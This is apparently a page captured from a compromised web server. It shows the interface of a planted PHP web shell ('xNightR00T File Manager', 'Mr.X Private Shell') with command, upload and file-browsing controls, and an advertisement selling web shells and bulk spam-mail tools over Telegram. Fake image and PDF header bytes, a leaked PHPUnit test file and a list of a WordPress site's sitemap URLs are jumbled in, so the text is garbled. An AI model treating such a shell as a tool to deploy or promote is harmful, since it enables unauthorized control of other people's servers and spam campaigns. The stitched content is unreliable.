xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Deployment\View\Helper;

use ZendServer\PHPUnit\TestCase;
use Zend\Config\Config;
use Application\Module;
use Zend\View\HelperPluginManager;
use Zend\View\Renderer\PhpRenderer;
use Deployment\Application\Container;
use ZendDeployment_Application;
use ZendDeployment_Application_Interface;
use Zend\Json\Json;
use Deployment\View\Helper\ApplicationInfoXml;
use PHPUnit_Framework_TestCase,
    Zend;
use Zend\Log\Logger;
use ZendServer\Log\Log;
use Zend\Log\Writer\Mock;

require_once 'tests/bootstrap.php';

class ApplicationInfoXTest extends TestCase
{

    public function test__invoke()
    {

        $broker = new HelperPluginManager(new \Zend\ServiceManager\Config(array(
            'invokables' => array(
                'applicationUrl' => 'Deployment\View\Helper\ApplicationUrl',
                'appMessages' => 'Deployment\View\Helper\AppMessages',
                'appStatus' => 'Deployment\View\Helper\AppStatus',
                'webapidate' => 'WebAPI\View\Helper\WebapiDate',
        ))));

        $renderer = new PhpRenderer();
        $renderer->setHelperPluginManager($broker);

        $helper      = new ApplicationInfoXml();
        $helper->setView($renderer);
        $application = new ZendDeployment_Application();
        $application->setErrors(array('error message'));
        $application->setStatus(ZendDeployment_Application_Interface::STATUS_ACTIVE);
        $application->setCreationTime(1);
        $application->setLastUsed(1);

        $application = new Container($application, 1);

        $result = $helper($application);
        $reader = new \SimpleXMLElement($result);

        self::assertArrayHasKeys(array(
            'id', 'baseUrl', 'appName', 'userAppName', 'installedLocation', 'status', 'isRollbackable',
            'isRedeployable', 'servers', 'messageList', 'creationTime', 'lastUsed', 'vhostId'
            ), (array) $reader);

        /// check dependent helpers are registered
        $services = $broker->getRegisteredServices();
        self::assertArrayHasKeys(array(
            'appstatus', 'webapidate'
            ), array_flip($services['instances']));

        self::assertEquals('deployed', (string) $reader->status);
        self::assertEquals('error message', (string) $reader->messageList->error);
        self::assertNotEquals(1, (string) $reader->creationTime);
        self::assertNotEquals(1, (string) $reader->lastUsed);
    }
}

Filemanager

Name Type Size Permission Actions
ApplicationInfoJsonTest.php File 2.39 KB 0644
ApplicationInfoXmlTest.php File 2.37 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml